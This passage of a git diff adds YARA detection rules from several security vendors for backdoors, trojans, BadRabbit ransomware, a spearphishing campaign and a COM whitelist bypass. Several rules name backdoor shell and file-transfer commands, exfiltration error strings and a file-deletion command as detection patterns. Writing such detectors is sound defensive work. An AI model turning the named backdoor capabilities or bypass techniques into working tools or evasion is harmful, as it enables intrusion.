+   $s2 = "from Cryptodome.Cipher import AES" ascii
+   $p1 = "aes.encrypt(t+('\\x00'*(16-len(t)%16))" ascii
+condition:
+   filesize < 10KB and all of ($s*) or any of ($p*)
+}
diff --git a/yara-mikesxrs/RSA/Artifact_ORION_aPlib.yar b/yara-mikesxrs/RSA/Artifact_ORION_aPlib.yar
new file mode 100644
index 0000000..11bddeb
--- /dev/null
+++ b/yara-mikesxrs/RSA/Artifact_ORION_aPlib.yar
@@ -0,0 +1,15 @@
+rule Artifact_ORION_aPlib
+{
+	meta:
+		Author = "HB"
+		Date = "30 Sep 2013"
+		Project = "Orion"
+		Reference = "https://blogs.rsa.com/wp-content/uploads/2015/05/RSA-IR-Case-Study.pdf"
+	strings:
+		$a1 = "aPLib v"
+		$a2 = "the smaller the better :)"
+		$a3 = "Joergen Ibsen"
+	condition:
+		all of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/RSA/Kingslayer_codekey.yar b/yara-mikesxrs/RSA/Kingslayer_codekey.yar
new file mode 100644
index 0000000..204d36e
--- /dev/null
+++ b/yara-mikesxrs/RSA/Kingslayer_codekey.yar
@@ -0,0 +1,18 @@
+rule Kingslayer_codekey
+{
+meta:
+	description = "detects Win32 files signed with stolen code signing key used in Kingslayer attack"
+	author = "RSA Research"
+	reference = "http://firstwat.ch/kingslayer"
+	date = "03 February 2017"
+	hash0 = "fbb7de06dcb6118e060dd55720b51528"
+	hash1 = "3974a53de0601828e272136fb1ec5106"
+	hash2 = "f97a2744a4964044c60ac241f92e05d7"
+	hash3 = "76ab4a360b59fe99be1ba7b9488b5188"
+	hash4 = "1b57396c834d2eb364d28eb0eb28d8e4"
+strings:
+	$val0 = { 31 33 31 31 30 34 31 39 33 39 31 39 5A 17 0D 31 35 31 31 30 34 31 39 33 39 31 39 5A }
+	$ven0 = { 41 6C 74 61 69 72 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73 }
+condition:
+	uint16(0) == 0x5A4D and $val0 and $ven0
+}
diff --git a/yara-mikesxrs/RSA/PNGRat.yar b/yara-mikesxrs/RSA/PNGRat.yar
new file mode 100644
index 0000000..ff58753
--- /dev/null
+++ b/yara-mikesxrs/RSA/PNGRat.yar
@@ -0,0 +1,39 @@
+rule PNGRat_C2_Decode
+/*
+.text:180002CCE 8A 43 01            mov     al, [rbx+1]
+.text:180002CD1 B1 71               mov     cl, 71h
+.text:180002CD3 48 8D 54 24 30      lea     rdx, [rsp+148h+Src] ; Src
+.text:180002CD8 C0 E0 04            shl     al, 4 ; Shift Logical Left
+.text:180002CDB 41 B8 04 00 00 00   mov     r8d, 4; Size
+.text:180002CE1 02 03               add     al, [rbx]       ; Add
+.text:180002CE3 2A C1               sub     al, cl; Integer Subtraction
+*/
+{
+ meta:
+  Author = "BB RSAIR"
+  Date   = "15Jan2015"
+  reference = "https://community.rsa.com/docs/DOC-30015"
+ strings:
+  $decode = {8A 43 [0-1] B1 71 48 [0-4] C0 E0 04 41 B8 04 [0-3] 02 03 2A C1 }
+        
+ condition:
+  $decode and uint16( 0) == 0x5A4D
+}
+
+rule PngRatV2
+{
+ meta:
+  Author = "EMH RSAIR"
+  Date   = "14Dec2014"
+  reference = "https://community.rsa.com/docs/DOC-30015"
+ strings:
+  $mz = { 4D 5A }
+  $reg_pw = "abe2869f-9b47-4cd9-a358-c22904dba7f7"
+  $stego_c2 = "http://social.technet.microsoft.com/Forums/" nocase
+  $ip_string = "%u.%u.%u.%u"
+  $microsoft = {C6 44 24 30 40 C6 44 24 31 4D C6 44 24 32 49 C6 44 24 33 43 C6 44 24 34 52 C6 44 24 35 30 C6 44 24 36 53 C6 44 24 37 30 C6 44 24 38 46 C6 44 24 39 54 C6 44 24}
+  $corporation = {C6 44 24 30 43 48 8B CB C6 44 24 31 30 C6 44 24 32 52 C6 44 24 33 50 C6 44 24 34 30 C6 44 24 35 52 C6 44 24 36 41 C6 44 24 37 54 C6 44 24 38 49 C6 44 24 39 30 C6 44 24 3A 4E C6 44 24 3B 00}
+        
+ condition:
+  all of them or ($mz and $reg_pw and $ip_string and $microsoft and $corporation)
+}
diff --git a/yara-mikesxrs/RSA/RSA_index.yar b/yara-mikesxrs/RSA/RSA_index.yar
new file mode 100644
index 0000000..e666589
--- /dev/null
+++ b/yara-mikesxrs/RSA/RSA_index.yar
@@ -0,0 +1,150 @@
+
+
+rule Trojan_Lurker2_ORION
+{
+	meta:
+		Author = "HB"
+		Date = "30 Sep 2013"
+		Project = "Orion"
+		Filename = "ntmrsvc.dll"
+		Reference = "https://blogs.rsa.com/wp-content/uploads/2015/05/RSA-IR-Case-Study.pdf"
+
+	strings:
+		$b1 = {636D642E657865004C55524B}
+		$b2 = {45525F52414353004C55524B25735F534D5F2573}
+		$b3 = {4C55524B4552524143535F524D5F2573}
+		$a1 = "01234567890123456789eric0123456789012345678karen"
+
+	condition:
+		any of them
+}
+
+
+rule Trojan_HIKIT
+{
+	meta:
+		Author = "HB"
+		Date = "26 Sep 2013"
+		Project = "Orion"
+		MD5 = "7D4F241428A2496142DF1C4A376CEC88"
+		MD5 = "A5F07E00D3EEF7A16ECFEC03E94677E3"
+		Reference = "https://blogs.rsa.com/wp-content/uploads/2015/05/RSA-IR-Case-Study.pdf"
+
+	strings:
+		$b1 = {63006F006E006E006500630074002000250064002E00250064002E00250064002E002500640020002500640000000000680069006B00690074003E}
+		$b2 = {68006900740078002E0073007900730000006D00610074007200690078005F00700061007300730077006F007200}
+		$b3 = {700072006F0078007900000063006F006E006E006500630074000000660069006C006500000000007300680065006C006C}
+		$a1 = "Open backdoor error" wide
+		$a2 = "data send err..." wide
+
+	condition:
+		any of ($b*) or all of ($a*)
+}
+
+rule Trojan_Derusbi {
+        meta:
+                Author = "RSA_IR"
+                Date     = "4Sept13"
+                File     = "derusbi_variants v 1.3"
+                MD5      = " c0d4c5b669cc5b51862db37e972d31ec "
+                Reference = "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
+            strings:
+        $b1 = {8b 15 ?? ?? ?? ?? 8b ce d3 ea 83 c6 ?? 30 90 ?? ?? ?? ??
+40 3b 05 ?? ?? ?? ?? 72 ??}
+        $b2 = {F3 5D 88 2E ?? ?? 00 00 BE 07 18 2E F0 5D 88 2E F7 5D 88 2E 0C A2 88 2E 4B 5D 88 2E F3 5D 88 2E}
+        $b3 = {4E E6 40 BB}
+        $b4 = {B1 19 BF 44}
+        
+        $b5 = {6A F5 44 3D ?? ?? 00 00 27 AF D4 3D 69 F5 44 3D 6E F5 44 3D 95 0A 44 3D D2 F5 44 3D 6A F5 44 3D}
+        $b6 = {F3 5D 88 2E ?? ?? 00 00 BE 07 18 2E F0 5D 88 2E}
+        $b7 = {D6 D5 A4 A3 ?? ?? 00 00 9B 8F 34 A3 D5 D5 A4 A3 D2 D5 A4
+A3 29 2A A4 A3}
+        $b8 = {C3 76 33 9F ?? ?? 00 00 8E 2C A3 9F C0 76 33 9F C7 76 33 9F 3C 89 33 9F}
+ 
+    condition:
+        2 of ($b1, $b2, $b3, $b4) and 1 of ($b5, $b6, $b7, $b8) }
+
+rule Trojan_Derusbi_AP32_Orion
+{
+	meta:
+		Author = "HB"
+		Date = "30 Sep 2013"
+		Project = "Orion"
+		Info = "Compressed with aPACK"
+        MagicBytes = "AP32" 
+		Reference = "https://blogs.rsa.com/wp-content/uploads/2015/05/RSA-IR-Case-Study.pdf"
+
+	strings:
+
+		$http1 = {00000000485454502F312E312032303000000000485454502F312E3020323030}
+		$http2 = {00000000434F4E4E4543542025733A256420485454502F312E300D0A0D0A0000}
+		$file1 = "%s\\seclogon.nls"
+		$file2 = "%s\\seclogon.nt"
+		$file3 = "%swindows.exe"
+		$o1	= "\\wsedrf\\qazxsw"
+		$o2 = "\\shell\\open\\command"
+		$b1 = {4C4F47494E494E464F3A2025640A0000}
+		$b2 = {436F6465506167653A2025730A000000}
+		$b3 = {5C636D642E657865}
+
+	condition:
+		all of ($http*) or all of ($file*) or all of ($o*) or all of ($b*)
+
+}
+
+rule Artifact_ORION_aPlib
+{
+	meta:
+		Author = "HB"
+		Date = "30 Sep 2013"
+		Project = "Orion"
+		Reference = "https://blogs.rsa.com/wp-content/uploads/2015/05/RSA-IR-Case-Study.pdf"
+	strings:
+		$a1 = "aPLib v"
+		$a2 = "the smaller the better :)"
+		$a3 = "Joergen Ibsen"
+	condition:
+		all of them
+
+}
+
+rule TROJAN_Notepad {
+        meta:
+                Author = "RSA_IR"
+                Date     = "4Jun13"
+                File     = "notepad.exe v 1.1"
+                MD5      = "106E63DBDA3A76BEEB53A8BBD8F98927"
+                Reference = "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
+        strings:
+                $s1 = "75BAA77C842BE168B0F66C42C7885997"
+                $s2 = "B523F63566F407F3834BCC54AAA32524"
+        condition:
+                $s1 or $s2
+}
+
+rule liudoor{
+meta:
+        author = "RSA FirstWatch"
+        date = "2015-07-23"
+        description = "Detects Liudoor daemon backdoor"
+        reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+        hash0 = "78b56bc3edbee3a425c96738760ee406"
+        hash1 = "5aa0510f6f1b0e48f0303b9a4bfc641e"
+        hash2 = "531d30c8ee27d62e6fbe855299d0e7de"
+        hash3 = "2be2ac65fd97ccc97027184f0310f2f3"
+		hash4 = "6093505c7f7ec25b1934d3657649ef07"
+        type = "Win32 DLL"
+
+strings:
+        $string0 = "Succ"
+        $string1 = "Fail"
+        $string2 = "pass"
+        $string3 = "exit"
+        $string4 = "svchostdllserver.dll"
+        $string5 = "L$,PQR"
+        $string6 = "0/0B0H0Q0W0k0"
+        $string7 = "QSUVWh"
+        $string8 = "Ht Hu["
+condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/RSA/RTF_Shellcode.yar b/yara-mikesxrs/RSA/RTF_Shellcode.yar
new file mode 100644
index 0000000..a97706e
--- /dev/null
+++ b/yara-mikesxrs/RSA/RTF_Shellcode.yar
@@ -0,0 +1,16 @@
+rule RTF_Shellcode
+{
+meta:
+                author = "RSA-IR – Jared Greenhill"
+                date = "01/21/13"
+                description = "identifies RTF's with potential shellcode"
+                reference = "https://community.rsa.com/community/products/netwitness/blog/2014/02/12/triaging-malicious-microsoft-office-documents-cve-2012-0158"
+                filetype = "RTF"
+ 
+strings:
+                $rtfmagic={7B 5C 72 74 66}
+                $scregex=/[39 30]{2,20}/
+ 
+condition:
+                ($rtfmagic at 0) and ($scregex)
+}
diff --git a/yara-mikesxrs/RSA/Squiblydoo.yar b/yara-mikesxrs/RSA/Squiblydoo.yar
new file mode 100644
index 0000000..f80934e
--- /dev/null
+++ b/yara-mikesxrs/RSA/Squiblydoo.yar
@@ -0,0 +1,21 @@
+rule RSA_IR_Windows_COM_bypass_script
+{
+    meta:
+        author="RSA IR"
+        Date="22 Apr 2016"
+        reference = "https://community.rsa.com/community/products/netwitness/blog/2016/04/26/detection-of-com-whitelist-bypassing-with-ecat"
+        comment1="Detects potential scripts used by COM+ Whitelist Bypass"
+        comment2="More information on bypass located at: http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html"
+ 
+    strings:
+        $s1 = "<scriptlet>" nocase
+        $s2 = "<registration" nocase
+        $s3 = "classid=" nocase
+        $s4 = "[CDATA[" nocase
+        $s5 = "</script>" nocase
+        $s6 = "</registration>" nocase
+        $s7 = "</scriptlet>" nocase
+ 
+    condition:
+        all of ($s*)
+}
diff --git a/yara-mikesxrs/RSA/TROJAN_Notepad.yar b/yara-mikesxrs/RSA/TROJAN_Notepad.yar
new file mode 100644
index 0000000..e1dc609
--- /dev/null
+++ b/yara-mikesxrs/RSA/TROJAN_Notepad.yar
@@ -0,0 +1,13 @@
+rule TROJAN_Notepad {
+        meta:
+                Author = "RSA_IR"
+                Date     = "4Jun13"
+                File     = "notepad.exe v 1.1"
+                MD5      = "106E63DBDA3A76BEEB53A8BBD8F98927"
+                Reference = "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
+        strings:
+                $s1 = "75BAA77C842BE168B0F66C42C7885997"
+                $s2 = "B523F63566F407F3834BCC54AAA32524"
+        condition:
+                $s1 or $s2
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/RSA/Trojan_Derusbi.yar b/yara-mikesxrs/RSA/Trojan_Derusbi.yar
new file mode 100644
index 0000000..607f934
--- /dev/null
+++ b/yara-mikesxrs/RSA/Trojan_Derusbi.yar
@@ -0,0 +1,22 @@
+rule Trojan_Derusbi {
+        meta:
+                Author = "RSA_IR"
+                Date     = "4Sept13"
+                File     = "derusbi_variants v 1.3"
+                MD5      = " c0d4c5b669cc5b51862db37e972d31ec "
+                Reference = "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
+            strings:
+        $b1 = {8b 15 ?? ?? ?? ?? 8b ce d3 ea 83 c6 ?? 30 90 ?? ?? ?? ??
+40 3b 05 ?? ?? ?? ?? 72 ??}
+        $b2 = {F3 5D 88 2E ?? ?? 00 00 BE 07 18 2E F0 5D 88 2E F7 5D 88 2E 0C A2 88 2E 4B 5D 88 2E F3 5D 88 2E}
+        $b3 = {4E E6 40 BB}
+        $b4 = {B1 19 BF 44}
+        
+        $b5 = {6A F5 44 3D ?? ?? 00 00 27 AF D4 3D 69 F5 44 3D 6E F5 44 3D 95 0A 44 3D D2 F5 44 3D 6A F5 44 3D}
+        $b6 = {F3 5D 88 2E ?? ?? 00 00 BE 07 18 2E F0 5D 88 2E}
+        $b7 = {D6 D5 A4 A3 ?? ?? 00 00 9B 8F 34 A3 D5 D5 A4 A3 D2 D5 A4
+A3 29 2A A4 A3}
+        $b8 = {C3 76 33 9F ?? ?? 00 00 8E 2C A3 9F C0 76 33 9F C7 76 33 9F 3C 89 33 9F}
+ 
+    condition:
+        2 of ($b1, $b2, $b3, $b4) and 1 of ($b5, $b6, $b7, $b8) }
\ No newline at end of file
diff --git a/yara-mikesxrs/RSA/Trojan_Derusbi_AP32_Orion.yar b/yara-mikesxrs/RSA/Trojan_Derusbi_AP32_Orion.yar
new file mode 100644
index 0000000..3ab6665
--- /dev/null
+++ b/yara-mikesxrs/RSA/Trojan_Derusbi_AP32_Orion.yar
@@ -0,0 +1,27 @@
+rule Trojan_Derusbi_AP32_Orion
+{
+	meta:
+		Author = "HB"
+		Date = "30 Sep 2013"
+		Project = "Orion"
+		Info = "Compressed with aPACK"
+        MagicBytes = "AP32" 
+		Reference = "https://blogs.rsa.com/wp-content/uploads/2015/05/RSA-IR-Case-Study.pdf"
+
+	strings:
+
+		$http1 = {00000000485454502F312E312032303000000000485454502F312E3020323030}
+		$http2 = {00000000434F4E4E4543542025733A256420485454502F312E300D0A0D0A0000}
+		$file1 = "%s\\seclogon.nls"
+		$file2 = "%s\\seclogon.nt"
+		$file3 = "%swindows.exe"
+		$o1	= "\\wsedrf\\qazxsw"
+		$o2 = "\\shell\\open\\command"
+		$b1 = {4C4F47494E494E464F3A2025640A0000}
+		$b2 = {436F6465506167653A2025730A000000}
+		$b3 = {5C636D642E657865}
+
+	condition:
+		all of ($http*) or all of ($file*) or all of ($o*) or all of ($b*)
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/RSA/Trojan_HIKIT.yar b/yara-mikesxrs/RSA/Trojan_HIKIT.yar
new file mode 100644
index 0000000..905d83d
--- /dev/null
+++ b/yara-mikesxrs/RSA/Trojan_HIKIT.yar
@@ -0,0 +1,20 @@
+rule Trojan_HIKIT
+{
+	meta:
+		Author = "HB"
+		Date = "26 Sep 2013"
+		Project = "Orion"
+		MD5 = "7D4F241428A2496142DF1C4A376CEC88"
+		MD5 = "A5F07E00D3EEF7A16ECFEC03E94677E3"
+		Reference = "https://blogs.rsa.com/wp-content/uploads/2015/05/RSA-IR-Case-Study.pdf"
+
+	strings:
+		$b1 = {63006F006E006E006500630074002000250064002E00250064002E00250064002E002500640020002500640000000000680069006B00690074003E}
+		$b2 = {68006900740078002E0073007900730000006D00610074007200690078005F00700061007300730077006F007200}
+		$b3 = {700072006F0078007900000063006F006E006E006500630074000000660069006C006500000000007300680065006C006C}
+		$a1 = "Open backdoor error" wide
+		$a2 = "data send err..." wide
+
+	condition:
+		any of ($b*) or all of ($a*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/RSA/Trojan_Lurker2_ORION.yar b/yara-mikesxrs/RSA/Trojan_Lurker2_ORION.yar
new file mode 100644
index 0000000..d952def
--- /dev/null
+++ b/yara-mikesxrs/RSA/Trojan_Lurker2_ORION.yar
@@ -0,0 +1,18 @@
+rule Trojan_Lurker2_ORION
+{
+	meta:
+		Author = "HB"
+		Date = "30 Sep 2013"
+		Project = "Orion"
+		Filename = "ntmrsvc.dll"
+		Reference = "https://blogs.rsa.com/wp-content/uploads/2015/05/RSA-IR-Case-Study.pdf"
+
+	strings:
+		$b1 = {636D642E657865004C55524B}
+		$b2 = {45525F52414353004C55524B25735F534D5F2573}
+		$b3 = {4C55524B4552524143535F524D5F2573}
+		$a1 = "01234567890123456789eric0123456789012345678karen"
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/RSA/liudoor.yar b/yara-mikesxrs/RSA/liudoor.yar
new file mode 100644
index 0000000..3071609
--- /dev/null
+++ b/yara-mikesxrs/RSA/liudoor.yar
@@ -0,0 +1,26 @@
+rule liudoor{
+meta:
+        author = "RSA FirstWatch"
+        date = "2015-07-23"
+        description = "Detects Liudoor daemon backdoor"
+        reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+        hash0 = "78b56bc3edbee3a425c96738760ee406"
+        hash1 = "5aa0510f6f1b0e48f0303b9a4bfc641e"
+        hash2 = "531d30c8ee27d62e6fbe855299d0e7de"
+        hash3 = "2be2ac65fd97ccc97027184f0310f2f3"
+		hash4 = "6093505c7f7ec25b1934d3657649ef07"
+        type = "Win32 DLL"
+
+strings:
+        $string0 = "Succ"
+        $string1 = "Fail"
+        $string2 = "pass"
+        $string3 = "exit"
+        $string4 = "svchostdllserver.dll"
+        $string5 = "L$,PQR"
+        $string6 = "0/0B0H0Q0W0k0"
+        $string7 = "QSUVWh"
+        $string8 = "Ht Hu["
+condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Rapid7/KeyBoy_Backdoor.yar b/yara-mikesxrs/Rapid7/KeyBoy_Backdoor.yar
new file mode 100644
index 0000000..d01c688
--- /dev/null
+++ b/yara-mikesxrs/Rapid7/KeyBoy_Backdoor.yar
@@ -0,0 +1,17 @@
+rule KeyBoy_Backdoor  
+{  
+    meta:  
+        author = "Rapid7 Labs"  
+        reference = "https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india"  
+  
+    strings:  
+        $1 = "$login$"  
+        $2 = "$sysinfo$"  
+        $3 = "$shell$"  
+        $4 = "$fileManager$"  
+        $5 = "$fileDownload$"  
+        $6 = "$fileUpload$"  
+  
+    condition:  
+        all of them  
+}  
\ No newline at end of file
diff --git a/yara-mikesxrs/Rapid7/KeyBoy_Dropper.yar b/yara-mikesxrs/Rapid7/KeyBoy_Dropper.yar
new file mode 100644
index 0000000..47f26f3
--- /dev/null
+++ b/yara-mikesxrs/Rapid7/KeyBoy_Dropper.yar
@@ -0,0 +1,17 @@
+rule KeyBoy_Dropper  
+{  
+    meta:  
+        author = "Rapid7 Labs"  
+        reference = "https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india"  
+  
+    strings:  
+        $1 = "I am Admin"  
+        $2 = "I am User"  
+        $3 = "Run install success!"  
+        $4 = "Service install success!"  
+        $5 = "Something Error!"  
+        $6 = "Not Configed, Exiting"  
+  
+    condition:  
+        all of them  
+}  
\ No newline at end of file
diff --git a/yara-mikesxrs/Rapid7/Rapid7_index.yara b/yara-mikesxrs/Rapid7/Rapid7_index.yara
new file mode 100644
index 0000000..1b99360
--- /dev/null
+++ b/yara-mikesxrs/Rapid7/Rapid7_index.yara
@@ -0,0 +1,36 @@
+rule KeyBoy_Backdoor  
+{  
+    meta:  
+        author = "Rapid7 Labs"  
+        reference = "https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india"  
+  
+    strings:  
+        $1 = "$login$"  
+        $2 = "$sysinfo$"  
+        $3 = "$shell$"  
+        $4 = "$fileManager$"  
+        $5 = "$fileDownload$"  
+        $6 = "$fileUpload$"  
+  
+    condition:  
+        all of them  
+}  
+
+rule KeyBoy_Dropper  
+{  
+    meta:  
+        author = "Rapid7 Labs"  
+        reference = "https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india"  
+  
+    strings:  
+        $1 = "I am Admin"  
+        $2 = "I am User"  
+        $3 = "Run install success!"  
+        $4 = "Service install success!"  
+        $5 = "Something Error!"  
+        $6 = "Not Configed, Exiting"  
+  
+    condition:  
+        all of them  
+}  
+  
diff --git a/yara-mikesxrs/Recorded Future/TEMP.Periscope_Spearphish.yar b/yara-mikesxrs/Recorded Future/TEMP.Periscope_Spearphish.yar
new file mode 100644
index 0000000..3cf20b4
--- /dev/null
+++ b/yara-mikesxrs/Recorded Future/TEMP.Periscope_Spearphish.yar	
@@ -0,0 +1,19 @@
+rule TEMP_Periscope_July2018_Spearphish : email {
+meta:
+  Author = "Insikt Group, Recorded Future"
+  TLP = "White"
+  Date = "2018-09-22"
+  Description ="Rule to identify spearphish sent by Chinese threat actor TEMP.Periscope during July 2018 campaign� 
+strings:
+  $eml_1="From:"
+  $eml_2="To:"
+  $eml_3="Subject:"
+  $greeting_1="Dear,"
+  $content_1="Melissa Coade" nocase
+  $content_2="Below is the Report Website and conatc"
+  $content_3="Would yo mind giving me"
+  $url_1="file://"
+  $url_2="https://drive.google.com/open?"
+condition:
+  all of ($eml*) and all of ($greeting*) and 2 of ($content*) and 2 of ($url*) 
+}
diff --git a/yara-mikesxrs/Recorded Future/ext4_linuxlistener.yar b/yara-mikesxrs/Recorded Future/ext4_linuxlistener.yar
new file mode 100644
index 0000000..f2c970e
--- /dev/null
+++ b/yara-mikesxrs/Recorded Future/ext4_linuxlistener.yar	
@@ -0,0 +1,19 @@
+rule apt_ext4_linuxlistener
+{
+ meta:
+ description = "Detects Unique Linux Backdoor, Ext4"
+ author = "Insikt Group, Recorded Future"
+ TLP = "White"
+ date = "2018-08-14"
+ md5_x64 = "d08de00e7168a441052672219e717957"
+ author = "https://go.recordedfuture.com/hubfs/reports/cta-2018-0816.pdf"
+ strings:
+ $s1="rm /tmp/0baaf161db39"
+ $op1= {3c 61 0f}
+ $op2= {3c 6e 0f}
+ $op3= {3c 74 0f}
+ $op4= {3c 69 0f}
+ $op5= {3c 3a 0f}
+ condition:
+ all of them
+}
diff --git a/yara-mikesxrs/ReversingLabs/BadRabbitRansomware.yar b/yara-mikesxrs/ReversingLabs/BadRabbitRansomware.yar
new file mode 100644
index 0000000..65d9a50
--- /dev/null
+++ b/yara-mikesxrs/ReversingLabs/BadRabbitRansomware.yar
@@ -0,0 +1,56 @@
+rule Win32_Ransomware_BadRabbit : malicious {
+    meta:
+        author = "ReversingLabs"
+        reference = "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-rutine-specifics.html"
+        date = "oct-26-2017"
+    strings:
+        $encrypt_file = {
+            55 8B EC 83 EC ?? 53 56 57 8B 7D ?? 8B 4F ?? 33 DB 8D 45 ?? 50 53 53 51 89 5D ?? 89 
+            5D ?? 89 5D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 55 ?? 53 53 6A ?? 53 53 
+            68 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D 
+            4D ?? 51 57 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 39 5D ?? 0F 84 ?? 
+            ?? ?? ?? 39 5D ?? 0F 84 ?? ?? ?? ?? 8D 55 ?? 52 56 FF 15 ?? ?? ?? ?? 8B 4F ?? 8B 45 
+            ?? 83 C1 ?? 2B C1 19 5D ?? 89 45 ?? 89 5D ?? 78 ?? 7F ?? 3D ?? ?? ?? ?? 76 ?? B8 ?? 
+            ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? 53 50 53 6A ?? 53 8B F8 56 89 45 ?? 89 7D ?? FF 
+            15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8B 55 ?? 52 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 
+            8B F8 85 FF 74 ?? 8B 4D ?? 8B 55 ?? 8D 45 ?? 50 57 6A ?? 51 6A ?? 52 FF 15 ?? ?? ?? 
+            ?? 85 C0 74 ?? 8B 45 ?? 50 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 68 ?? ?? ?? ?? E8 ?? ?? 
+            ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? 3B C7 73 
+            ?? 2B F8 EB ?? 33 FF 8B 55 ?? 8B 42 ?? 8D 4C 38 ?? 6A ?? 51 E8 ?? ?? ?? ?? 8B 7D ?? 
+            83 C4 ?? 33 DB 56 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 39 5D ?? 74 ?? 39 
+            5D ?? 75 ?? 8B 47 ?? 8B 35 ?? ?? ?? ?? 50 FF D6 8B 7F ?? 3B FB 74 ?? 57 FF D6 5F 5E 
+            5B 8B E5 5D C3 
+        }
+
+        $main_encrypt = {
+            55 8B EC 56 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 75 ?? 89 46 ?? 85 C0 0F 84 
+            ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 7E ?? 57 FF 
+            D3 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? 6A ?? 6A ?? 6A ?? 57 FF 
+            D3 85 C0 74 ?? 8B 07 8D 5E ?? 53 50 8B 46 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 
+            C6 E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 4E ?? 6A ?? 51 E8 ?? 
+            ?? ?? ?? 8B 56 ?? 83 C4 ?? 52 FF 15 ?? ?? ?? ?? 8B 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 0B 
+            51 FF 15 ?? ?? ?? ?? 8B 17 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 46 ?? 50 FF 15 ?? ?? ?? ?? 
+            5F 5B B9 ?? ?? ?? ?? 8D 46 ?? 8B FF C6 00 ?? 40 49 75 ?? 56 FF 15 ?? ?? ?? ?? 33 C0 
+            5E 5D C2 ?? ?? 
+        }
+
+        $encryption_loop = {
+            8B 7C 24 ?? 6A ?? 6A ?? 8D 43 ?? 50 33 C0 39 43 ?? 0F 95 C0 40 50 FF 15 ?? ?? ?? ?? 
+            85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B9 ?? 
+            ?? ?? ?? 8D 44 24 ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 
+            75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? 
+            ?? ?? B9 ?? ?? ?? ?? 8D 44 24 ?? 8D 64 24 ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 
+            66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 
+            D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51 57 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? 
+            ?? ?? 85 C0 74 ?? 8B 44 24 ?? A8 ?? 74 ?? A9 ?? ?? ?? ?? 75 ?? 8D BC 24 ?? ?? ?? ?? 
+            E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 45 ?? 53 48 50 8B CF 51 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 
+            8D 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 8D 71 ?? 90 66 8B 11 83 C1 ?? 66 85 D2 
+            75 ?? 2B CE D1 F9 8D 4C 4C ?? 3B C1 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 
+            94 24 ?? ?? ?? ?? 53 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 74 24 ?? 8D 44 24 ?? 50 56 FF 15 
+            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??  
+        }
+
+    condition:
+        $encrypt_file and $main_encrypt and $encryption_loop
+            
+}
diff --git a/yara-mikesxrs/ReversingLabs/CVE_2017_11882.yar b/yara-mikesxrs/ReversingLabs/CVE_2017_11882.yar
new file mode 100644
index 0000000..8be7d55
--- /dev/null
+++ b/yara-mikesxrs/ReversingLabs/CVE_2017_11882.yar
@@ -0,0 +1,24 @@
+rule potential_CVE_2017_11882
+{
+    meta:
+      author = "ReversingLabs"
